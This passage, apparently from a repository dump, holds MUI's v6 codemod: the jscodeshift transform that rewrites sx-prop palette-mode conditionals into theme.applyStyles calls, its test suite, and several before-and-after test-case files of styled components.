    "content": "const Test = styled('div')(({ theme }) => ({\n  color: theme.palette.mode === 'dark' ? theme.palette.primary.light : theme.palette.primary.main,\n  background: `linear-gradient(45deg, ${theme.palette.mode === 'dark' ? theme.palette.primary[400] : theme.palette.primary[600]} 30%, ${theme.palette.mode === 'dark' ? theme.palette.primary[200] : theme.palette.primary[500]} 90%})`,\n}));\n\nconst StyledPopper = styled(Popper)(({ theme }) => ({\n  border: `1px solid ${theme.palette.mode === 'light' ? '#e1e4e8' : '#30363d'}`,\n  boxShadow: `0 8px 24px ${\n    theme.palette.mode === 'light' ? 'rgba(149, 157, 165, 0.2)' : 'rgb(1, 4, 9)'\n  }`,\n  borderRadius: 6,\n  width: 300,\n  zIndex: theme.zIndex.modal,\n  fontSize: 13,\n  color: theme.palette.mode === 'light' ? '#24292e' : '#c9d1d9',\n  backgroundColor: theme.palette.mode === 'light' ? '#fff' : '#1c2128',\n}));\n\nconst AntSwitch = styled(Switch)(({ theme }) => ({\n  width: 28,\n  height: 16,\n  padding: 0,\n  display: 'flex',\n  '&:active': {\n    '& .MuiSwitch-thumb': {\n      width: 15,\n    },\n    '& .MuiSwitch-switchBase.Mui-checked': {\n      transform: 'translateX(9px)',\n    },\n  },\n  '& .MuiSwitch-switchBase': {\n    padding: 2,\n    '&.Mui-checked': {\n      transform: 'translateX(12px)',\n      color: '#fff',\n      '& + .MuiSwitch-track': {\n        opacity: 1,\n        backgroundColor: theme.palette.mode === 'dark' ? '#177ddc' : '#1890ff',\n      },\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    boxShadow: '0 2px 4px 0 rgb(0 35 11 / 20%)',\n    width: 12,\n    height: 12,\n    borderRadius: 6,\n    transition: theme.transitions.create(['width'], {\n      duration: 200,\n    }),\n  },\n  '& .MuiSwitch-track': {\n    borderRadius: 16 / 2,\n    opacity: 1,\n    backgroundColor: theme.palette.mode === 'dark' ? 'rgba(255,255,255,.35)' : 'rgba(0,0,0,.25)',\n    boxSizing: 'border-box',\n  },\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/ThemePaletteMode.expected.js",
    "content": "const Test = styled('div')(({ theme }) => ({\n  color: theme.palette.primary.main,\n  background: `linear-gradient(45deg, ${theme.palette.primary[600]} 30%, ${theme.palette.primary[500]} 90%})`,\n  ...theme.applyStyles(\"dark\", {\n    color: theme.palette.primary.light,\n    background: `linear-gradient(45deg, ${theme.palette.primary[400]} 30%, ${theme.palette.primary[200]} 90%})`\n  })\n}));\n\nconst StyledPopper = styled(Popper)(({ theme }) => ({\n  border: `1px solid ${'#30363d'}`,\n  boxShadow: `0 8px 24px ${\n    'rgb(1, 4, 9)'\n  }`,\n  borderRadius: 6,\n  width: 300,\n  zIndex: theme.zIndex.modal,\n  fontSize: 13,\n  color: '#c9d1d9',\n  backgroundColor: '#1c2128',\n  ...theme.applyStyles(\"light\", {\n    border: `1px solid ${'#e1e4e8'}`,\n    boxShadow: `0 8px 24px ${'rgba(149, 157, 165, 0.2)'}`,\n    color: '#24292e',\n    backgroundColor: '#fff'\n  })\n}));\n\nconst AntSwitch = styled(Switch)(({ theme }) => ({\n  width: 28,\n  height: 16,\n  padding: 0,\n  display: 'flex',\n  '&:active': {\n    '& .MuiSwitch-thumb': {\n      width: 15,\n    },\n    '& .MuiSwitch-switchBase.Mui-checked': {\n      transform: 'translateX(9px)',\n    },\n  },\n  '& .MuiSwitch-switchBase': {\n    padding: 2,\n    '&.Mui-checked': {\n      transform: 'translateX(12px)',\n      color: '#fff',\n      '& + .MuiSwitch-track': {\n        opacity: 1,\n        backgroundColor: '#1890ff',\n        ...theme.applyStyles(\"dark\", {\n          backgroundColor: '#177ddc'\n        })\n      },\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    boxShadow: '0 2px 4px 0 rgb(0 35 11 / 20%)',\n    width: 12,\n    height: 12,\n    borderRadius: 6,\n    transition: theme.transitions.create(['width'], {\n      duration: 200,\n    }),\n  },\n  '& .MuiSwitch-track': {\n    borderRadius: 16 / 2,\n    opacity: 1,\n    backgroundColor: 'rgba(0,0,0,.25)',\n    boxSizing: 'border-box',\n    ...theme.applyStyles(\"dark\", {\n      backgroundColor: 'rgba(255,255,255,.35)'\n    })\n  },\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/VariantAndModeStyled.actual.js",
    "content": "const Component = styled.div(({ theme, ownerState }) => ({\n  ...theme.typography.caption,\n  ...(ownerState.size === 'small' && {\n    marginTop: (theme.vars || theme).spacing(1),\n    color: theme.palette.mode === 'dark' ? theme.palette.primary.light : theme.palette.primary.main,\n  }),\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/VariantAndModeStyled.expected.js",
    "content": "const Component = styled.div(({\n  theme\n}) => ({\n  ...theme.typography.caption,\n  variants: [{\n    props: {\n      size: 'small'\n    },\n    style: {\n      marginTop: (theme.vars || theme).spacing(1),\n      color: theme.palette.primary.main,\n      ...theme.applyStyles(\"dark\", {\n        color: theme.palette.primary.light\n      })\n    }\n  }]\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/index.js",
    "content": "export { default } from './sx-v6';\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/sx-v6.js",
    "content": "import getReturnExpression from '../../util/getReturnExpression';\nimport {\n  getCreateBuildStyle,\n  getAppendPaletteModeStyles,\n  getObjectKey,\n  getBuildArrowFunctionAST,\n  isThemePaletteMode,\n  removeProperty,\n} from '../../util/migrateToVariants';\n\n/**\n *\n * @param {import('jscodeshift').MemberExpression | import('jscodeshift').Identifier} node\n */\nfunction getCssVarName(node) {\n  let varName = '-';\n  while (node.type === 'MemberExpression') {\n    varName += `-${node.object?.name || node.property?.name || 'unknown'}`;\n    if (node.object.type === 'MemberExpression') {\n      node = node.object;\n    } else {\n      node = node.property;\n    }\n  }\n  varName += `-${node.name || 'unknown'}`;\n  return varName;\n}\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function sxV6(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  const createBuildStyle = getCreateBuildStyle(j);\n  const appendPaletteModeStyles = getAppendPaletteModeStyles(j);\n  const buildArrowFunctionAST = getBuildArrowFunctionAST(j);\n\n  /**\n   *\n   * @param {import('jscodeshift').Identifier} node\n   */\n  function replaceUndefined(node, replacement = j.nullLiteral()) {\n    if (node?.type === 'Identifier' && node.name === 'undefined') {\n      return replacement;\n    }\n    return node;\n  }\n\n  let shouldTransform = false;\n\n  root\n    .find(j.JSXAttribute, { name: { name: 'sx' }, value: { type: 'JSXExpressionContainer' } })\n    .forEach((path) => {\n      /**\n       * @type {[import('jscodeshift').StringLiteral, import('jscodeshift').Expression][]}\n       */\n      const cssVars = [];\n      const conditionalExpressions = []; // for ensuring the sequence of styles\n      let currentIndex = 0;\n      const sxContainer = path.node.value;\n\n      if (\n        ['ArrowFunctionExpression', 'ObjectExpression', 'ArrayExpression'].includes(\n          sxContainer.expression.type,\n        )\n      ) {\n        shouldTransform = true;\n        (sxContainer.expression.type === 'ArrayExpression'\n          ? sxContainer.expression.elements\n          : [sxContainer.expression]\n        ).forEach((item, index) => {\n          currentIndex = index;\n          recurseObjectExpression({\n            root: item,\n            replaceRoot: (newRoot) => {\n              sxContainer.expression = newRoot;\n            },\n            node: item,\n            buildStyle: createBuildStyle(),\n          });\n        });\n\n        if (cssVars.length) {\n          const cssVarsObject = j.objectExpression(\n            cssVars.map(([varName, value]) => j.objectProperty(varName, value)),\n          );\n          if (path.parent.node.type === 'JSXOpeningElement') {\n            const styleAttribute = path.parent.node.attributes.find(\n              (attribute) => attribute.type === 'JSXAttribute' && attribute.name.name === 'style',\n            );\n            const spreadAttribute = path.parent.node.attributes.find(\n              (attribute) => attribute.type === 'JSXSpreadAttribute',\n            );\n            if (styleAttribute) {\n              if (styleAttribute.value.expression.type === 'ObjectExpression') {\n                styleAttribute.value.expression.properties = [\n                  ...cssVarsObject.properties,\n                  ...styleAttribute.value.expression.properties,\n                ];\n              } else if (\n                styleAttribute.value.expression.type === 'Identifier' ||\n                styleAttribute.value.expression.type === 'MemberExpression'\n              ) {\n                styleAttribute.value.expression = j.objectExpression([\n                  ...cssVarsObject.properties,\n                  j.spreadElement(styleAttribute.value.expression),\n                ]);\n              }\n            } else if (spreadAttribute) {\n              path.parent.node.attributes.push(\n                j.jsxAttribute(\n                  j.jsxIdentifier('style'),\n                  j.jsxExpressionContainer(\n                    j.objectExpression([\n                      ...cssVarsObject.properties,\n                      j.spreadElement(\n                        j.memberExpression(spreadAttribute.argument, j.identifier('style')),\n                      ),\n                    ]),\n                  ),\n                ),\n              );\n            } else {\n              path.parent.node.attributes.push(\n                j.jsxAttribute(j.jsxIdentifier('style'), j.jsxExpressionContainer(cssVarsObject)),\n              );\n            }\n          }\n        }\n\n        if (conditionalExpressions.length && sxContainer.expression.type === 'ArrayExpression') {\n          // insert the conditional expressions in the correct order\n          let cumulativeIndex = 0;\n          conditionalExpressions.forEach(([index, newElement]) => {\n            sxContainer.expression.elements.splice(index + 1 + cumulativeIndex, 0, newElement);\n            cumulativeIndex += 1;\n          });\n        }\n\n        if (sxContainer.expression.type === 'ArrayExpression') {\n          sxContainer.expression.elements = sxContainer.expression.elements.filter(\n            (item) => item.type !== 'ObjectExpression' || item.properties.length > 0,\n          );\n        }\n      }\n\n      function wrapSxInArray(newElement) {\n        if (\n          sxContainer.expression.type === 'ObjectExpression' ||\n          sxContainer.expression.type === 'ArrowFunctionExpression'\n        ) {\n          sxContainer.expression = j.arrayExpression([sxContainer.expression]);\n        }\n        if (sxContainer.expression.type === 'ArrayExpression') {\n          // store in a list to be added later to ensure the sequence of styles\n          conditionalExpressions.push([currentIndex, newElement]);\n        }\n      }\n\n      function rootThemeCallback(data) {\n        if (data.root.type === 'ObjectExpression') {\n          data.replaceRoot?.(buildArrowFunctionAST([j.identifier('theme')], data.root));\n        } else if (data.root.type === 'ArrayExpression') {\n          data.root.elements.forEach((item, index) => {\n            if (item === data.node) {\n              data.root.elements[index] = buildArrowFunctionAST([j.identifier('theme')], data.root);\n            }\n          });\n        }\n      }\n\n      /**\n       *\n       * @param {{ node: import('jscodeshift').Expression }} data\n       */\n      function recurseObjectExpression(data) {\n        if (data.node.type === 'ArrowFunctionExpression') {\n          const returnExpression = getReturnExpression(data.node);\n          if (returnExpression) {\n            if (\n              returnExpression.type === 'MemberExpression' &&\n              returnExpression.property?.type === 'ConditionalExpression'\n            ) {\n              recurseObjectExpression({\n                ...data,\n                node: j.conditionalExpression(\n                  returnExpression.property.test,\n                  { ...returnExpression, property: returnExpression.property.consequent },\n                  { ...returnExpression, property: returnExpression.property.alternate },\n                ),\n              });\n            } else if (returnExpression.type === 'TemplateLiteral') {\n              const firstExpression = returnExpression.expressions[0];\n              if (firstExpression?.type === 'ConditionalExpression') {\n                recurseObjectExpression({\n                  ...data,\n                  node: j.conditionalExpression(\n                    firstExpression.test,\n                    {\n                      ...returnExpression,\n                      expressions: [\n                        firstExpression.consequent,\n                        ...(returnExpression.expressions || []).slice(1),\n                      ],\n                    },\n                    {\n                      ...returnExpression,\n                      expressions: [\n                        firstExpression.alternate,\n                        ...(returnExpression.expressions || []).slice(1),\n                      ],\n                    },\n                  ),\n                });\n              } else {\n                recurseObjectExpression({\n                  ...data,\n                  node: returnExpression,\n                });\n              }\n            } else if (\n              (returnExpression.type === 'CallExpression' &&\n                getObjectKey(returnExpression.callee)?.name === 'theme') ||\n              (returnExpression.type === 'MemberExpression' &&\n                getObjectKey(returnExpression)?.name === 'theme') ||\n              (returnExpression.type === 'BinaryExpression' &&\n                (getObjectKey(returnExpression.left)?.name === 'theme' ||\n                  getObjectKey(returnExpression.right)?.name === 'theme'))\n            ) {\n              data.replaceValue?.(returnExpression);\n              rootThemeCallback(data);\n            } else {\n              recurseObjectExpression({\n                ...data,\n                node: returnExpression,\n              });\n            }\n          }\n        }\n        if (data.node.type === 'ObjectExpression') {\n          const modeStyles = {}; // to collect styles from `theme.palette.mode === '...'`\n          data.node.properties.forEach((prop) => {\n            if (prop.type === 'ObjectProperty') {\n              recurseObjectExpression({\n                ...data,\n                node: prop.value,\n                parentNode: data.node,\n                key: prop.key,\n                buildStyle: createBuildStyle(prop.key, data.buildStyle),\n                replaceValue: (newValue) => {\n                  prop.value = newValue;\n                },\n                deleteSelf: () => {\n                  removeProperty(data.node, prop);\n                  if (data.node.properties.length === 0) {\n                    data.deleteSelf?.();\n                  }\n                },\n                modeStyles,\n              });\n            } else {\n              recurseObjectExpression({\n                ...data,\n                node: prop,\n                parentNode: data.node,\n                buildStyle: createBuildStyle(prop.key, data.buildStyle),\n              });\n            }\n          });\n          appendPaletteModeStyles(data.node, modeStyles);\n        }\n        if (data.node.type === 'SpreadElement') {\n          if (data.node.argument.type === 'LogicalExpression') {\n            const paramName =\n              data.node.argument.left.type === 'BinaryExpression'\n                ? getObjectKey(data.node.argument.left.left)?.name\n                : getObjectKey(data.node.argument.left)?.name;\n            if (paramName === 'theme' && data.node.argument.left.right.type === 'StringLiteral') {\n              if (data.node.argument.right.type === 'ObjectExpression') {\n                const mode = data.node.argument.left.right.value;\n                data.node.argument.right.properties.forEach((prop) => {\n                  if (prop.type === 'ObjectProperty') {\n                    recurseObjectExpression({\n                      ...data,\n                      node: prop.value,\n                      parentNode: data.node.argument.right,\n                      key: prop.key,\n                      buildStyle: createBuildStyle(prop.key, data.buildStyle, mode),\n                      replaceValue: (newValue) => {\n                        prop.value = newValue;\n                      },\n                    });\n                  } else {\n                    recurseObjectExpression({\n                      ...data,\n                      node: prop,\n                      parentNode: data.node.argument.right,\n                      buildStyle: createBuildStyle(prop.key, data.buildStyle, mode),\n                    });\n                  }\n                });\n                appendPaletteModeStyles(data.parentNode, {\n                  [mode]: data.node.argument.right,\n                });\n              }\n              if (data.deleteSelf) {\n                data.deleteSelf();\n              } else {\n                removeProperty(data.parentNode, data.node);\n              }\n              return;\n            }\n\n            if (data.node.argument.right.type === 'ObjectExpression') {\n              recurseObjectExpression({\n                ...data,\n                node: data.node.argument.right,\n                root: data.node.argument.right,\n                replaceRoot: (newRoot) => {\n                  data.node.argument.right = newRoot;\n                },\n              });\n            }\n            wrapSxInArray(\n              j.logicalExpression(\n                data.node.argument.operator,\n                data.node.argument.left,\n                data.buildStyle(data.node.argument.right),\n              ),\n            );\n            if (data.deleteSelf) {\n              data.deleteSelf();\n            } else {\n              removeProperty(data.parentNode, data.node);\n            }\n          }\n          if (data.node.argument.type === 'ConditionalExpression') {\n            const isSxSpread =\n              (data.node.argument.test.type === 'CallExpression' &&\n                data.node.argument.test.callee.type === 'MemberExpression' &&\n                data.node.argument.test.callee.object.name === 'Array' &&\n                data.node.argument.test.callee.property.name === 'isArray') ||\n              (data.node.argument.consequent.type === 'Identifier' &&\n                data.node.argument.consequent.name === 'sx') ||\n              (data.node.argument.alternate.type === 'Identifier' &&\n                data.node.argument.alternate.name === 'sx');\n\n            if (!isSxSpread) {\n              recurseObjectExpression({\n                ...data,\n                node: data.node.argument,\n                parentNode: data.node,\n              });\n              wrapSxInArray(data.node.argument);\n              if (data.deleteSelf) {\n                data.deleteSelf();\n              } else {\n                removeProperty(data.parentNode, data.node);\n              }\n            }\n          }\n          if (data.node.argument.type === 'CallExpression') {\n            if (\n              getObjectKey(data.node.argument.callee)?.name === 'theme' &&\n              data.node.argument.callee.property?.name?.startsWith('apply')\n            ) {\n              const objIndex = data.node.argument.arguments.findIndex(\n                (arg) => arg.type === 'ObjectExpression',\n              );\n              recurseObjectExpression({\n                ...data,\n                node: data.node.argument.arguments[objIndex],\n                buildStyle: (styleExpression) => {\n                  const newArguments = [...data.node.argument.arguments];\n                  newArguments[objIndex] = styleExpression;\n                  return j.arrowFunctionExpression([j.identifier('theme')], {\n                    ...data.node.argument,\n                    arguments: newArguments,\n                  });\n                },\n              });\n            }\n          }\n        }\n        if (data.node.type === 'ConditionalExpression') {\n          if (\n            data.node.test.type === 'BinaryExpression' ||\n            data.node.test.type === 'UnaryExpression' ||\n            data.node.test.type === 'Identifier' ||\n            data.node.test.type === 'MemberExpression'\n          ) {\n            if (\n              data.parentNode?.type === 'ObjectExpression' &&\n              (data.node.test?.type === 'BinaryExpression' || data.node.test?.type === 'Identifier')\n            ) {\n              if (\n                data.node.consequent.type !== 'ObjectExpression' &&\n                data.node.alternate.type !== 'ObjectExpression'\n              ) {\n                if (isThemePaletteMode(data.node.test.left)) {\n                  const consequentKey = getObjectKey(data.node.consequent);\n                  if (consequentKey.type === 'Identifier' && consequentKey.name !== 'theme') {\n                    const varName = getCssVarName(data.node.consequent);\n                    cssVars.push([j.stringLiteral(varName), data.node.consequent]);\n                    data.node.consequent = j.stringLiteral(`var(${varName})`);\n                  }\n                  const alternateKey = getObjectKey(data.node.alternate);\n                  if (alternateKey.type === 'Identifier' && alternateKey.name !== 'theme') {\n                    const varName = getCssVarName(data.node.alternate);\n                    cssVars.push([j.stringLiteral(varName), data.node.alternate]);\n                    data.node.alternate = j.stringLiteral(`var(${varName})`);\n                  }\n\n                  if (data.modeStyles) {\n                    if (!data.modeStyles[data.node.test.right.value]) {\n                      data.modeStyles[data.node.test.right.value] = [];\n                    }\n                    data.modeStyles[data.node.test.right.value].push(\n                      j.objectProperty(data.key, replaceUndefined(data.node.consequent)),\n                    );\n                  }\n                  data.replaceValue?.(replaceUndefined(data.node.alternate));\n                  rootThemeCallback(data);\n                } else {\n                  wrapSxInArray(\n                    j.conditionalExpression(\n                      data.node.test,\n                      data.buildStyle?.(replaceUndefined(data.node.consequent)),\n                      data.buildStyle?.(replaceUndefined(data.node.alternate)),\n                    ),\n                  );\n                  if (data.deleteSelf) {\n                    data.deleteSelf();\n                  } else {\n                    removeProperty(data.parentNode, data.node);\n                  }\n                }\n              }\n            }\n          }\n        }\n        if (data.node.type === 'TemplateLiteral') {\n          if (data.parentNode?.type === 'ObjectExpression') {\n            const modeStyles = {};\n            data.node.expressions.forEach((expression, index) => {\n              if (expression.type === 'MemberExpression') {\n                const memberKey = getObjectKey(expression);\n                if (memberKey.type === 'Identifier' && memberKey.name !== 'theme') {\n                  const varName = getCssVarName(expression);\n                  cssVars.push([j.stringLiteral(varName), expression]);\n                  data.node.expressions[index] = j.stringLiteral(`var(${varName})`);\n                }\n              } else {\n                recurseObjectExpression({\n                  ...data,\n                  node: expression,\n                  parentNode: data.parentNode,\n                  buildStyle: createBuildStyle(data.key, data.buildStyle),\n                  replaceValue: (newValue) => {\n                    data.node.expressions[index] = newValue;\n                  },\n                  modeStyles,\n                });\n              }\n            });\n            if (data.modeStyles) {\n              Object.entries(modeStyles).forEach(([mode, objectStyles]) => {\n                const clonedNode = {\n                  ...data.node,\n                  expressions: data.node.expressions.map((expression) => ({ ...expression })),\n                };\n                clonedNode.expressions = objectStyles.map((item) => item.value);\n\n                if (!data.modeStyles[mode]) {\n                  data.modeStyles[mode] = [];\n                }\n                data.modeStyles[mode].push(j.objectProperty(data.key, clonedNode));\n              });\n              if (data.key) {\n                data.replaceValue?.(data.node);\n              }\n            }\n          }\n          if (\n            data.node.expressions?.some(\n              (expression) =>\n                getObjectKey(expression)?.name === 'theme' ||\n                (expression.type === 'CallExpression' &&\n                  getObjectKey(expression.callee)?.name === 'theme'),\n            )\n          ) {\n            rootThemeCallback(data);\n          }\n        }\n      }\n    });\n\n  const transformed = root.toSource(printOptions);\n\n  if (shouldTransform) {\n    // recast adds extra newlines that we don't want, https://github.com/facebook/jscodeshift/issues/249\n    // need to remove them manually\n    const lines = [];\n    let isInStyled = false;\n    let spaceMatch;\n    transformed.split('\\n').forEach((line) => {\n      if (!isInStyled) {\n        lines.push(line);\n      } else if (line !== '') {\n        if (spaceMatch && line.match(/^\\s+/)?.[0] === spaceMatch?.[0] && line.endsWith('}')) {\n          isInStyled = false;\n          spaceMatch = null;\n        }\n        lines.push(line);\n      }\n      if (line.includes('sx=') && !line.match(/sx=\\{\\{[^}]+\\}\\}/)) {\n        isInStyled = true;\n        spaceMatch = line.match(/^\\s+/);\n      }\n    });\n    return lines.join('\\n');\n  }\n\n  return transformed;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/sx-v6.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './sx-v6';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v6.0.0', () => {\n    describe('basic sx-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/basic-sx.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/basic-sx.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/basic-sx.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/basic-sx.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('css vars sx-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-css-vars.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-css-vars.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-css-vars.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-css-vars.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('dynamic spread sx-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-dynamic.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-dynamic.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-dynamic.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-dynamic.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('dynamic conditional sx-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-dynamic2.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-dynamic2.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-dynamic2.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-dynamic2.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('should not delete line breaks', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-line-break.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-line-break.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-line-break.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-line-break.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('conditional sx-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-condition.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-condition.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-condition.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-condition.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('applyStyles sx-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-applyStyles.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-applyStyles.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-applyStyles.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-applyStyles.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('inheritance sx-v6', () => {\n      it('should do nothing', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-inheritance.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-inheritance.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/sx-inheritance.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/sx-inheritance.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/basic-sx.actual.js",
    "content": "<Toolbar\n  variant=\"regular\"\n  sx={(theme) => ({\n    display: 'flex',\n    alignItems: 'center',\n    justifyContent: 'space-between',\n    flexShrink: 0,\n    borderRadius: '999px',\n    bgcolor: theme.palette.mode === 'light' ? 'hsla(220, 60%, 99%, 0.6)' : 'hsla(220, 0%, 0%, 0.7)',\n    backdropFilter: 'blur(24px)',\n    maxHeight: 40,\n    border: '1px solid',\n    borderColor: 'divider',\n    boxShadow:\n      theme.palette.mode === 'light'\n        ? '0 1px 2px hsla(210, 0%, 0%, 0.05), 0 2px 12px hsla(210, 100%, 80%, 0.5)'\n        : '0 1px 2px hsla(210, 0%, 0%, 0.5), 0 2px 12px hsla(210, 100%, 25%, 0.3)',\n  })}\n></Toolbar>;\n\n<Box\n  component=\"main\"\n  sx={{\n    backgroundColor: (theme) =>\n      theme.palette.mode === 'light' ? theme.palette.grey[100] : theme.palette.grey[900],\n    flexGrow: 1,\n    height: '100vh',\n    overflow: 'auto',\n  }}\n></Box>;\n\n<Box\n  sx={{\n    borderBottom: (theme) =>\n      `1px solid ${theme.palette.mode === 'light' ? 'grey.200' : 'grey.800'}`,\n    backgroundSize: 'cover',\n    backgroundPosition: 'center',\n    minHeight: 280,\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/basic-sx.expected.js",
    "content": "<Toolbar\n  variant=\"regular\"\n  sx={(theme) => ({\n    display: 'flex',\n    alignItems: 'center',\n    justifyContent: 'space-between',\n    flexShrink: 0,\n    borderRadius: '999px',\n    bgcolor: 'hsla(220, 0%, 0%, 0.7)',\n    backdropFilter: 'blur(24px)',\n    maxHeight: 40,\n    border: '1px solid',\n    borderColor: 'divider',\n    boxShadow:\n      '0 1px 2px hsla(210, 0%, 0%, 0.5), 0 2px 12px hsla(210, 100%, 25%, 0.3)',\n    ...theme.applyStyles(\"light\", {\n      bgcolor: 'hsla(220, 60%, 99%, 0.6)',\n      boxShadow: '0 1px 2px hsla(210, 0%, 0%, 0.05), 0 2px 12px hsla(210, 100%, 80%, 0.5)'\n    })\n  })}\n></Toolbar>;\n\n<Box\n  component=\"main\"\n  sx={theme => ({\n    backgroundColor: theme.palette.grey[900],\n    flexGrow: 1,\n    height: '100vh',\n    overflow: 'auto',\n    ...theme.applyStyles(\"light\", {\n      backgroundColor: theme.palette.grey[100]\n    })\n  })}\n></Box>;\n\n<Box\n  sx={theme => ({\n    borderBottom: `1px solid ${'grey.800'}`,\n    backgroundSize: 'cover',\n    backgroundPosition: 'center',\n    minHeight: 280,\n    ...theme.applyStyles(\"light\", {\n      borderBottom: `1px solid ${'grey.200'}`\n    })\n  })}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-applyStyles.actual.js",
    "content": "<ButtonBase\n  component=\"span\"\n  ref={ref}\n  {...props}\n  disabled={Boolean(disabled)}\n  onClick={(event) => {\n    if (ref.current) {\n      ref.current.scrollIntoView({ block: 'nearest' });\n    }\n    if (props.onClick) {\n      props.onClick(event);\n    }\n  }}\n  onFocusVisible={(event) => {\n    if (ref.current) {\n      ref.current.scrollIntoView({ block: 'nearest' });\n    }\n    if (props.onFocusVisible) {\n      props.onFocusVisible(event);\n    }\n  }}\n  sx={[\n    (theme) => ({\n      justifyContent: 'flex-start',\n      textAlign: 'left',\n      alignItems: 'center',\n      borderRadius: 1,\n      height: '100%',\n      border: '1px solid transparent',\n      transitionProperty: 'all',\n      transitionDuration: '150ms',\n      // color: 'primary.300',\n      overflow: 'auto',\n      ...((!disableBorder || selected) && {\n        borderColor: 'grey.100',\n      }),\n      ...(selected && {\n        bgcolor: `${alpha(theme.palette.primary[50], 0.5)}`,\n        borderColor: 'primary.300',\n        boxShadow: `0px 1px 4px ${theme.palette.primary[200]}, inset 0px 2px 4px ${alpha(\n          theme.palette.primary[100],\n          0.5,\n        )}`,\n        // color: 'primary.500',\n      }),\n      ...(!selected && {\n        '&:hover, &:focus': {\n          bgcolor: 'primary.50',\n          borderColor: 'primary.100',\n          '@media (hover: none)': {\n            bgcolor: 'transparent',\n          },\n        },\n      }),\n      ...theme.applyDarkStyles({\n        color: 